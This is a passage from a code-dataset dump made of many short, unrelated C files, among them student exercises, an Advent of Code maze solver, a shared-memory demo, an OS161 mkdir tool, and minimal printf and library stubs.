for (;*h != '\0' && n_hash != h_hash; ++h, ++haystack) {
h_hash += hash(*h) - hash(*haystack);
}
const char *n_ = needle;
for (const char *h_ = haystack; *n_ != '\0' && *h_ != '\0'; ++h_, ++n_) {
if (*h_ != *n_)
break;
}
if (*n_ == '\0')
return (char*)haystack;
}
return NULL;
}
|
the_stack_data/168892748.c
|
#include <stdio.h>
#include <string.h>
int i;
typedef struct dados{
char nome[30];
char marcaveiculo[30];
char modelo[20];
char cor[15];
int ano;
}dados;
void registradados(dados x[],int y)
{
for(i=0;i<y;i++){
printf("\ncliente: %d\n\ndigite o seu nome..: ",i+1);
scanf("%s",&x[i].nome);
printf("digite a marca do veiculo..: ");
scanf("%s",&x[i].marcaveiculo);
printf("digite o modelo do veiculo..: ");
scanf("%s",&x[i].modelo);
printf("digite a cor do veiculo..: ");
scanf("%s",&x[i].cor);
printf("digite o ano do veiculo..: ");
scanf("%d",&x[i].ano);
printf("\n\n");
}
}
void imprimedados(dados x[],int y)
{
for(i=0;i<y;i++){
printf("\ncliente: %d\n\nseu nome..: %s",i+1,x[i].nome);
printf("\nmarca do veiculo..: %s",x[i].marcaveiculo);
printf("\nmodelo do veiculo..: %s",x[i].modelo);
printf("\ncor do veiculo..: %s",x[i].cor);
printf("\nano do veiculo..: %d",x[i].ano);
printf("\n\n");
}
}
void anomaior(dados x[],int y)
{
for(i=0;i<y;i++){
if(x[i].ano>2010){
printf("\ncliente: %d\n\nseu nome..: %s",i+1,x[i].nome);
printf("\nmarca do veiculo..: %s",x[i].marcaveiculo);
printf("\nmodelo do veiculo..: %s",x[i].modelo);
printf("\ncor do veiculo..: %s",x[i].cor);
printf("\nano do veiculo..: %d",x[i].ano);
printf("\n\n");
}
}
}
void corcarroana(dados x[],int y)
{
int resultado;
for(i=0;i<y;i++){
resultado=strcmp(x[i].nome,"ana");
if(resultado==0){
printf("\ncor do carro de ana..: %s",x[i].cor);
}
}
}
void modelodetodosvei(dados x[],int y)
{
for(i=0;i<y;i++){
printf("\ncliente: %d",i+1);
printf("\nmodelo do veiculo: %s",x[i].modelo);
}
}
main()
{
dados clientes[2];
registradados(clientes,2);
printf("--IMPRIMINDO DADOS--\n\n");
imprimedados(clientes,2);
printf("\n--DADOS ONDE O ANO DO CARRO EH MAIOR QUE 2010--\n");
anomaior(clientes,2);
printf("\n\n--MODELO DE TODOS OS VEICULOS--\n");
modelodetodosvei(clientes,2);
printf("\n\n--COR DO CARRO DE ANA--\n");
corcarroana(clientes,2);
}
|
the_stack_data/165765765.c
|
/**
* Description: Suppose that there will never be more than one character
* for pushback. Modify getch and ungetch accordingly.
*
**/
#include <stdio.h>
char buf = 0;
/* getch: get a (possibly) pushed back character */
int getch(void)
{
int c;
if(buf != 0)
c = buf;
else
c = getchar();
buf = 0;
return c;
}
/* ungetch: push a character back into input */
void ungetch(int c)
{
if(buf != 0)
printf("ungetch: too many characters\n");
else
buf = c;
}
int main(void)
{
int c;
c = '*';
ungetch(c);
while((c=getch()) != EOF)
putchar(c);
return 0;
}
|
the_stack_data/9512432.c
|
#include <sys/ipc.h>
#include <sys/shm.h>
#include <stdio.h>
int main()
{
// ftok to generate unique key
key_t key = ftok("shmfile",65);
// shmget returns an identifier in shmid
int shmid = shmget(key,1024,0666|IPC_CREAT);
// shmat to attach to shared memory
char *str = (char*) shmat(shmid,(void*)0,0);
printf("Write Data : ");
gets(str);
printf("Data written in memory: %s\n",str);
//detach from shared memory
shmdt(str);
return 0;
}
|
the_stack_data/111077241.c
|
/*z6.c Primer programa koji demonstrira upotrebu kompleksnog tipa*/
#include<stdio.h>
#include<stdlib.h>
#include<complex.h>
int main(void)
{
double complex z=1.0+2.0*I;
printf("\nz= %lf + i%lf\n", creal(z), cimag(z));
z*=I; //Rotiraj z 90 +
printf("\nz= %lf + i%lf\n", creal(z), cimag(z));
return EXIT_SUCCESS;
}
|
the_stack_data/149737.c
|
void *memcpy(char *dst, char *src, int n)
{
char *p = dst;
while (n--)
*dst++ = *src++;
return p;
}
int strlen(char *s)
{
int i = 0;
while (*s++)
i++;
return i;
}
void itoa(char *buf, unsigned long int n, int base)
{
unsigned long int tmp;
int i, j;
tmp = n;
i = 0;
do {
tmp = n % base;
buf[i++] = (tmp < 10) ? (tmp + '0') : (tmp + 'a' - 10);
} while (n /= base);
buf[i--] = 0;
for (j = 0; j < i; j++, i--) {
tmp = buf[j];
buf[j] = buf[i];
buf[i] = tmp;
}
}
|
the_stack_data/41286.c
|
//Day24b.c
//
//Question 1: Starting from location 0, what is the fewest number of steps
//needed to visit every non-zero number on the map at least once, and then
//return to location 0?
//
//This is now a true traveling salesman problem. Fortunately, only a small
//modification is needed to our recursive algorithm.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <stdbool.h>
#include <limits.h>
#include <stdint.h>
//None of the structures change
typedef struct sQueueNode
{
struct sQueueNode *next;
char nodeData[];
} sQueueNode;
typedef struct
{
size_t numElements, elementSize;
sQueueNode *first, *last;
} sQueue;
typedef struct
{
bool isOpen, visited;
int distance;
} sRoom;
typedef struct
{
int x, y;
} sCoord;
typedef struct
{
sRoom **rooms;
int xSize, ySize;
sCoord *targets;
int numTargets;
} sMaze;
sMaze *Create_Maze(FILE *inFile);
void Reset_Maze(sMaze *maze);
void Delete_Maze(sMaze *maze);
void Find_Distances(sMaze *maze, sCoord start, int *distances);
int Find_Shortest_Route(int **distances, int startNode, uint16_t unvisitedMask);
void *Safe_Malloc(size_t size);
void Init_Queue(sQueue *queue, size_t elementSize);
void Enqueue(sQueue *queue, const void *object);
void Dequeue(sQueue *queue, void *object);
void Delete_Queue(sQueue *queue);
//No change to the main function
int main(int argc, char **argv)
{
FILE *inFile;
sMaze *maze;
int **distances;
int t, shortestRoute;
//The usual command line argument check and input file opening
if (argc != 2)
{
fprintf(stderr, "Usage:\n\tDay24 <input filename>\n\n");
return EXIT_FAILURE;
}
inFile = fopen(argv[1], "r");
if (inFile == NULL)
{
fprintf(stderr, "Error opening file: %s\n", strerror(errno));
return EXIT_FAILURE;
}
//Create a maze structure and read the maze data into it.
maze = Create_Maze(inFile);
//Close the file as soon as we're done with it.
fclose(inFile);
//Allocate memory for the distances
distances = Safe_Malloc(maze->numTargets * sizeof(int *));
for (t = 0; t < maze->numTargets; t++)
{
distances[t] = Safe_Malloc(maze->numTargets * sizeof(int));
}
//Now we can run the searches, starting at each target location
for (t = 0; t < maze->numTargets; t++)
{
Reset_Maze(maze);
Find_Distances(maze, maze->targets[t], distances[t]);
}
//Find the shortest route using our modified function
shortestRoute = Find_Shortest_Route(distances, 0,
(1 << maze->numTargets) - 1);
//Free the maze's memory as soon as we're done with it
Delete_Maze(maze);
//Print the answer
printf("Shortest route distance: %d\n", shortestRoute);
return EXIT_SUCCESS;
}
//The only change is in this function
int Find_Shortest_Route(int **distances, int startNode, uint16_t unvisitedMask)
{
int n, minDist, nextDist;
//Mark the current node as visited by clearing its bit in the mask
unvisitedMask &= ~(1 << startNode);
//This is the only change. If there are no nodes left, we still have to move
//one more time back to location 0.
if (unvisitedMask == 0x0000)
return distances[startNode][0];
//Start new routes recursively with the current node removed from the list.
//The shortest total distance will be returned.
minDist = INT_MAX;
for (n = 0; n < 16; n++)
{
if (unvisitedMask & (1 << n))
{
nextDist = distances[startNode][n] +
Find_Shortest_Route(distances, n, unvisitedMask);
if (nextDist < minDist)
minDist = nextDist;
}
}
return minDist;
}
//Everything below here is the same as part A
//Helper function for parsing the input data, allocating memory, and setting up
//the maze structure. For extra fun (and to make life easier for the calling
//function), let's dynamically allocate the maze structure itself.
sMaze *Create_Maze(FILE *inFile)
{
sMaze *maze;
int x, y, target, nextChar;
//Allocate memory for the maze structure
maze = Safe_Malloc(sizeof(sMaze));
//Make sure we're at the start of the file
rewind(inFile);
//To determine the size of the maze we need to count the characters in one
//line, then count the number of lines. The first line is all walls, so
//there's nothing else of interest here.
maze->xSize = 0;
while (fgetc(inFile) != '\n')
{
maze->xSize++;
}
//We've already passed the first line, so ySize starts at 1. Since we're
//reading every character, this is a good place to count the numbered target
//locations. The targets are numbered starting at zero, so the number of
//targets is one more than the max value.
maze->ySize = 1;
maze->numTargets = 0;
do
{
nextChar = fgetc(inFile);
if (nextChar == '\n')
{
maze->ySize++;
} else if (nextChar >= '0' && nextChar <= '9')
{
target = nextChar - '0';
if (target + 1 > maze->numTargets)
maze->numTargets = target + 1;
}
} while (nextChar != EOF);
//Allocate memory for the maze-> Since we don't know either dimension at
//compile time, we have to use the array-of-pointers type. We also now have
//enough information to allocate memory for the target list and the 2D array
//of pairwise shortest paths.
maze->rooms = Safe_Malloc(maze->xSize * sizeof(sRoom *));
for (x = 0; x < maze->xSize; x++)
{
maze->rooms[x] = Safe_Malloc(maze->ySize * sizeof(sRoom));
}
maze->targets = Safe_Malloc(maze->numTargets * sizeof(sCoord));
//Read the input file into the maze array. We'll be doing some of the
//initialization in the search loop, so we don't need to do it all here.
rewind(inFile);
for (y = 0; y < maze->ySize; y++)
{
for (x = 0; x < maze->xSize; x++)
{
nextChar = fgetc(inFile);
if (nextChar == '#')
{
//It's a wall
maze->rooms[x][y].isOpen = false;
} else
{
//It's an open space. If it's a numbered target, save the
//coordinates.
maze->rooms[x][y].isOpen = true;
if (nextChar >= '0' && nextChar <= '9')
{
target = nextChar - '0';
//This is another nifty C99 feature -- a compound literal.
//Instead of just initializing structures with braced lists
//of constant values, we can now use constants and even
//variables to assign values to structures at run-time. This
//is one of the most high-level features in C -- a single
//line of code creates a nameless instance of the structure,
//initializes its members to the provided values, and copies
//those values into another instance of the structure. The
//nameless temporary instance is a full lvalue -- we could
//even create a pointer to it, if we wanted. (We don't.)
//I'm not going to go crazy with this -- it's probably more
//trouble than it's worth in more complex situations. For
//more information about compound literals, see:
//http://www.drdobbs.com/the-new-c-compound-literals/184401404
maze->targets[target] = (sCoord){x, y};
}
}
}
//Drop the newlines
fgetc(inFile);
}
return maze;
}
//Helper function for resetting the room distances and visited flags before
//running a search.
void Reset_Maze(sMaze *maze)
{
int x, y;
for (x = 0; x < maze->xSize; x++)
{
for (y = 0; y < maze->ySize; y++)
{
maze->rooms[x][y].visited = false;
maze->rooms[x][y].distance = UINT_MAX;
}
}
}
//Helper function for freeing memory allocated for the maze
void Delete_Maze(sMaze *maze)
{
int x;
for (x = 0; x < maze->xSize; x++)
{
free(maze->rooms[x]);
}
free(maze->rooms);
free(maze->targets);
free(maze);
}
//Do a breadth-first search on the maze, starting at the given coordinates. Once
//done, record the distance to each of the target locations in the distances
//array.
void Find_Distances(sMaze *maze, sCoord start, int *distances)
{
//We can always access structure members directly, but sometimes copying
//them into local variables makes the code easier to read.
sQueue queue;
sCoord tempCoord;
sRoom **rooms;
int x, y, target;
rooms = maze->rooms;
//Create a queue for coordinates. The queue will be empty at the end of the
//function, so there's no need to delete it later.
Init_Queue(&queue, sizeof(sCoord));
//Initialize the starting location and add its coordinates to the queue.
//We're using a generic queue today, so everything has to be passed and
//returned by reference.
maze->rooms[start.x][start.y].distance = 0;
maze->rooms[start.x][start.y].visited = true;
Enqueue(&queue, &start);
//Search until the maze is fully explored. This is not the most efficient
//approach in general, but our particular maze has numbers close to each of
//the corners, so it's probably not worth the extra comparisons to do an
//early termination.
while (queue.numElements > 0)
{
//Get the next room
Dequeue(&queue, &tempCoord);
x = tempCoord.x;
y = tempCoord.y;
//Discover adjacent nodes, update their distance, and add them to the
//queue. Note that since this maze is bounded by walls, we don't have to
//worry about walking off the edge of the array. See the code from Day
//13 if you're confused about what's going on here.
if (rooms[x-1][y].isOpen && !rooms[x-1][y].visited)
{
rooms[x-1][y].distance = rooms[x][y].distance + 1;
rooms[x-1][y].visited = true;
//Note that we could just enqueue the nameless struct created by the
//compound literal, but nameless variables make me nervous. As an
//embedded programmer, I'm already nervous about consuming stack
//space through syntax rather than declarations. Yes, I know I'm
//fretting about eight bytes of stack space while stuffing dozens of
//nodes in the queue. :-)
tempCoord = (sCoord){x-1, y};
Enqueue(&queue, &tempCoord);
}
if (rooms[x+1][y].isOpen && !rooms[x+1][y].visited)
{
rooms[x+1][y].distance = rooms[x][y].distance + 1;
rooms[x+1][y].visited = true;
tempCoord = (sCoord){x+1, y};
Enqueue(&queue, &tempCoord);
}
if (rooms[x][y-1].isOpen && !rooms[x][y-1].visited)
{
rooms[x][y-1].distance = rooms[x][y].distance + 1;
rooms[x][y-1].visited = true;
tempCoord = (sCoord){x, y-1};
Enqueue(&queue, &tempCoord);
}
if (rooms[x][y+1].isOpen && !rooms[x][y+1].visited)
{
rooms[x][y+1].distance = rooms[x][y].distance + 1;
rooms[x][y+1].visited = true;
tempCoord = (sCoord){x, y+1};
Enqueue(&queue, &tempCoord);
}
}
//Now that the search is complete, we can get the shortest path distance to
//each target by going through the target coordinate list.
for (target = 0; target < maze->numTargets; target++)
{
x = maze->targets[target].x;
y = maze->targets[target].y;
distances[target] = rooms[x][y].distance;
}
}
//Helper function for error-checking malloc()
void *Safe_Malloc(size_t size)
{
void *retVal;
retVal = malloc(size);
if (retVal == NULL)
{
fprintf(stderr, "Error allocating memory: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
return retVal;
}
//Initialize the queue. We'll specify the size of the stored objects here for
//simplicity. We could theoretically put the element size in the enqueue
//function, which would let us mix object types in the queue, but that would be
//weird and not very useful.
void Init_Queue(sQueue *queue, size_t elementSize)
{
queue->numElements = 0;
queue->elementSize = elementSize;
queue->first = NULL;
queue->last = NULL;
}
//Add an object to the queue. Because we don't know the data type, the object
//must be passed by reference as a void pointer.
void Enqueue(sQueue *queue, const void *object)
{
sQueueNode *new;
//Allocate memory for a new node with enough storage for the object
new = malloc(sizeof(sQueueNode) + queue->elementSize);
if (new == NULL)
{
fprintf(stderr, "Error allocating memory: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
//Initialize the list pointer and copy the data into the new node. memcpy()
//copies one byte at a time, so we don't have to worry about unaligned data.
new->next = NULL;
memcpy(new->nodeData, object, queue->elementSize);
//Add the node to the tail of the list. If the list is empty, we need to
//update the queue pointers to cover the new list.
if (queue->numElements > 0)
queue->last->next = new;
else
queue->first = new;
queue->last = new;
queue->numElements++;
}
//Remove and return the next node from the queue. Again, not knowing the data
//type means we have to return the data via a pointer.
void Dequeue(sQueue *queue, void *object)
{
sQueueNode *oldest;
//We can't return anything to indicate an empty queue without knowing the
//data type, so instead we'll have to crash the program. If we really
//needed to recover gracefully from an underrun, we could set errno to an
//appropriate non-zero value (ECANCELED, maybe).
if (queue->numElements == 0)
{
fprintf(stderr, "Error: Queue underrun!\n");
exit(EXIT_FAILURE);
}
//Copy the oldest node's data using the provided pointer
oldest = queue->first;
memcpy(object, oldest->nodeData, queue->elementSize);
//Delete the oldest node from the linked list. We can only update the queue
//pointers if there are still other nodes left in the list.
if (queue->numElements > 1)
queue->first = oldest->next;
free(oldest);
queue->numElements--;
}
//Free all the memory used by the queue. Does nothing if the queue is empty.
void Delete_Queue(sQueue *queue)
{
sQueueNode *next;
while (queue->numElements > 0)
{
next = queue->first->next;
free(queue->first);
queue->first = next;
queue->numElements--;
}
}
|
the_stack_data/227256.c
|
// RUN: jlang-cc -verify %s
typedef int Object;
struct Object *pp;
Object staticObject1;
|
the_stack_data/153266944.c
|
/*
* Copyright (c) 2000, 2001, 2002, 2003, 2004, 2005, 2008, 2009
* The President and Fellows of Harvard College.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE UNIVERSITY AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE UNIVERSITY OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <err.h>
/*
* mkdir - create a directory.
* Usage: mkdir DIRECTORY
*
* Just calls the mkdir() system call.
*/
int
main(int argc, char *argv[])
{
if (argc!=2) {
errx(1, "Usage: mkdir DIRECTORY");
}
if (mkdir(argv[1], 0775)) {
err(1, "%s", argv[1]);
}
return 0;
}
|
the_stack_data/48574770.c
|
void encrypt(unsigned char *buffer, int len){
}
void decrypt(unsigned char *buffer, int len){
}
|
the_stack_data/90764473.c
|
#include <stdio.h>
int mbedtls_safer_memcmp( int A[], int B[], int n )
{
int i;
unsigned char diff = 0;
for( i = 0; i < n; i++ )
diff |= A[i] ^ B[i];
return( diff );
}
int main() {
int A[5] = {1, 2, 3, 4, 5};
int B[5] = {1, 2, 3, 4, 5};
int ret;
if (mbedtls_safer_memcmp(A, B, 5) == 0) {
ret = 0;
}
else{
ret = 1;
}
printf("%d\n", ret);
// printf("%d\n", x);
// return x;
}
|
the_stack_data/1072607.c
|
/*
* Author: Andrew Wesie <[email protected]>
*
* Copyright (c) 2014 Kaprica Security, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*/
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#define OUTPUT_BYTE(x) do { \
size_t bytes; \
char _c = x; \
transmit(fd, &_c, sizeof(_c), &bytes); \
} while (0);
int send_n_bytes(int fd, size_t n, char *buf)
{
if (!n || !buf)
return -1;
size_t tx = 0, total_sent = 0;
while (total_sent < n) {
if (transmit(fd, buf + total_sent, n - total_sent, &tx) != 0) {
return -1;
} else if (tx == 0) {
break;
} else {
total_sent += tx;
}
}
return total_sent;
}
#define NUM_TO_LOWER(x) (((x) < 10 ? (x)+'0' : (x)-10+'a'))
#define NUM_TO_UPPER(x) (((x) < 10 ? (x)+'0' : (x)-10+'A'))
#define FLAG_PAD_ZERO 0x1
#define FLAG_UPPERCASE 0x2
int output_number_printf(int fd, unsigned int x, int base, int min, unsigned int flags)
{
int n = 0;
if (x >= base)
{
n = output_number_printf(fd, x / base, base, min-1, flags);
x %= base;
}
if (n == 0 && min > 0)
{
while (--min)
if (flags & FLAG_PAD_ZERO)
OUTPUT_BYTE('0')
else
OUTPUT_BYTE(' ')
}
if (flags & FLAG_UPPERCASE)
OUTPUT_BYTE(NUM_TO_UPPER(x))
else
OUTPUT_BYTE(NUM_TO_LOWER(x))
return n + 1;
}
int vfdprintf(int fd, const char *fmt, va_list ap)
{
char *astring;
char achar;
int aint, i, n = 0, flags = 0, min = 0;
unsigned int auint;
while (*fmt != '\0')
{
char c = *fmt++;
if (c == '%')
{
while (1)
{
c = *fmt++;
switch (c)
{
case '0':
flags |= FLAG_PAD_ZERO;
continue;
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
min = strtol(fmt-1, (char**)&fmt, 10);
continue;
}
break;
}
switch (c)
{
case '%':
OUTPUT_BYTE('%')
break;
case 's':
astring = va_arg(ap, char *);
send_n_bytes(fd, strlen(astring), astring);
break;
case 'd':
aint = va_arg(ap, int);
if (aint < 0)
{
OUTPUT_BYTE('-')
aint = -aint;
}
output_number_printf(fd, aint, 10, min, flags);
break;
case 'u':
auint = va_arg(ap, unsigned int);
output_number_printf(fd, auint, 10, min, flags);
break;
case 'X':
flags |= FLAG_UPPERCASE;
case 'x':
auint = va_arg(ap, unsigned int);
output_number_printf(fd, auint, 16, min, flags);
break;
case 'c':
achar = (signed char) va_arg(ap, int);
OUTPUT_BYTE(achar);
break;
default:
OUTPUT_BYTE(c)
break;
}
min = 0;
flags = 0;
}
else
{
OUTPUT_BYTE(c)
}
}
return n;
}
int fdprintf(int fd, const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
int ret = vfdprintf(fd, fmt, ap);
va_end(ap);
return ret;
}
#undef OUTPUT_BYTE
#define OUTPUT_BYTE(n, s, x) do { \
size_t bytes; \
char _c = x; \
*(*(s)) = _c; \
(*(s))++; \
(*(n))++; \
} while (0);
int output_number_sprintf(int *n, char **s, unsigned int x, int base, int min, unsigned int flags)
{
int m = 0;
if (x >= base)
{
m = output_number_sprintf(n, s, x / base, base, min-1, flags);
x %= base;
}
if (m == 0 && min > 0)
{
while (--min)
if (flags & FLAG_PAD_ZERO)
OUTPUT_BYTE(n, s, '0')
else
OUTPUT_BYTE(n, s, ' ')
}
if (flags & FLAG_UPPERCASE)
OUTPUT_BYTE(n, s, NUM_TO_UPPER(x))
else
OUTPUT_BYTE(n, s, NUM_TO_LOWER(x))
return m + 1;
}
int sprintf(char *str, const char *fmt, ...)
{
char achar;
char *astring;
int aint, i, n = 0, flags = 0, min = 0;
unsigned int auint;
va_list ap;
va_start(ap, fmt);
while (*fmt != '\0')
{
char c = *fmt++;
if (c == '%')
{
while (1)
{
c = *fmt++;
switch (c)
{
case '0':
flags |= FLAG_PAD_ZERO;
continue;
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
min = strtol(fmt-1, (char**)&fmt, 10);
continue;
}
break;
}
switch (c)
{
case '%':
OUTPUT_BYTE(&n, &str, '%')
break;
case 's':
astring = va_arg(ap, char *);
for (i = 0; i < strlen(astring); i++)
OUTPUT_BYTE(&n, &str, astring[i]);
break;
case 'd':
aint = va_arg(ap, int);
if (aint < 0)
{
OUTPUT_BYTE(&n, &str, '-')
aint = -aint;
}
output_number_sprintf(&n, &str, aint, 10, min, flags);
break;
case 'X':
flags |= FLAG_UPPERCASE;
case 'x':
auint = va_arg(ap, unsigned int);
output_number_sprintf(&n, &str, auint, 16, min, flags);
break;
case 'c':
achar = (signed char) va_arg(ap, int);
OUTPUT_BYTE(&n, &str, achar);
break;
default:
OUTPUT_BYTE(&n, &str, c)
break;
}
min = 0;
flags = 0;
}
else
{
OUTPUT_BYTE(&n, &str, c)
}
}
*str++ = 0;
va_end(ap);
return n;
}
|
the_stack_data/35618.c
|
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <assert.h>
typedef struct FACTOR
{
int *factors;
int count;
} Factor;
Factor get_factors(int n)
{
int root = (int) sqrt(n);
int *factors = (int *) malloc((n / 2) * sizeof(int));
int j = 0;
for (int i = 1; i <= root; i++) {
if (n % i == 0) {
factors[j++] = i;
if (i != (n / i)) {
factors[j++] = n / i;
}
}
}
Factor factor = {
.factors = factors,
.count = j
};
return factor;
}
int main()
{
int n;
Factor factors;
printf("%s", "Enter n: ");
scanf("%d", &n);
factors = get_factors(n);
printf("Total factors: %d\n", factors.count);
for (int i = 0; i < factors.count; i++) {
printf("%d ", factors.factors[i]);
assert((n % factors.factors[i]) == 0);
}
return 0;
}
|
the_stack_data/920088.c
|
/*
* Copyright (c) 2015-2018, NVIDIA CORPORATION. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
/* bessel_tjn.c implements float F2008 bessel_jn transformational intrinsic */
float __mth_i_bessel_j0(float arg);
float __mth_i_bessel_j1(float arg);
float __mth_i_bessel_jn(int n, float arg);
void
f90_bessel_jn(float *rslts, int *n1, int *n2, float *x)
{
int i;
float *rslt_p;
for (i = *n1, rslt_p = rslts; i <= *n2; i++, rslt_p++) {
switch (i) {
case 0:
*rslt_p = __mth_i_bessel_j0(*x);
break;
case 1:
*rslt_p = __mth_i_bessel_j1(*x);
break;
default:
*rslt_p = __mth_i_bessel_jn(i, *x);
break;
}
}
}
|
the_stack_data/34590.c
|
#include <stdio.h>
int main(){
char c[5];int i;
printf("Please input 5 characters:\n");
for(i=0;i<5;i++){
scanf("%c",&c[i]);
if(('W'<=c[i]&&c[i]<='Z')||('w'<=c[i]&&c[i]<='z'))
c[i]-=22;
else
c[i]+=4;
}
for(i=0;i<5;i++)
printf("%c",c[i]);
return 0;
}
|
the_stack_data/1143078.c
|
#include <wctype.h>
wint_t towctrans_l(wint_t c, wctrans_t t, locale_t l)
{
return towctrans(c, t);
}
|
the_stack_data/140764949.c
|
#include <stdio.h>
int asprintf(char ** dest, const char * format, ...)
{
/* Unimplemented */
return -1;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.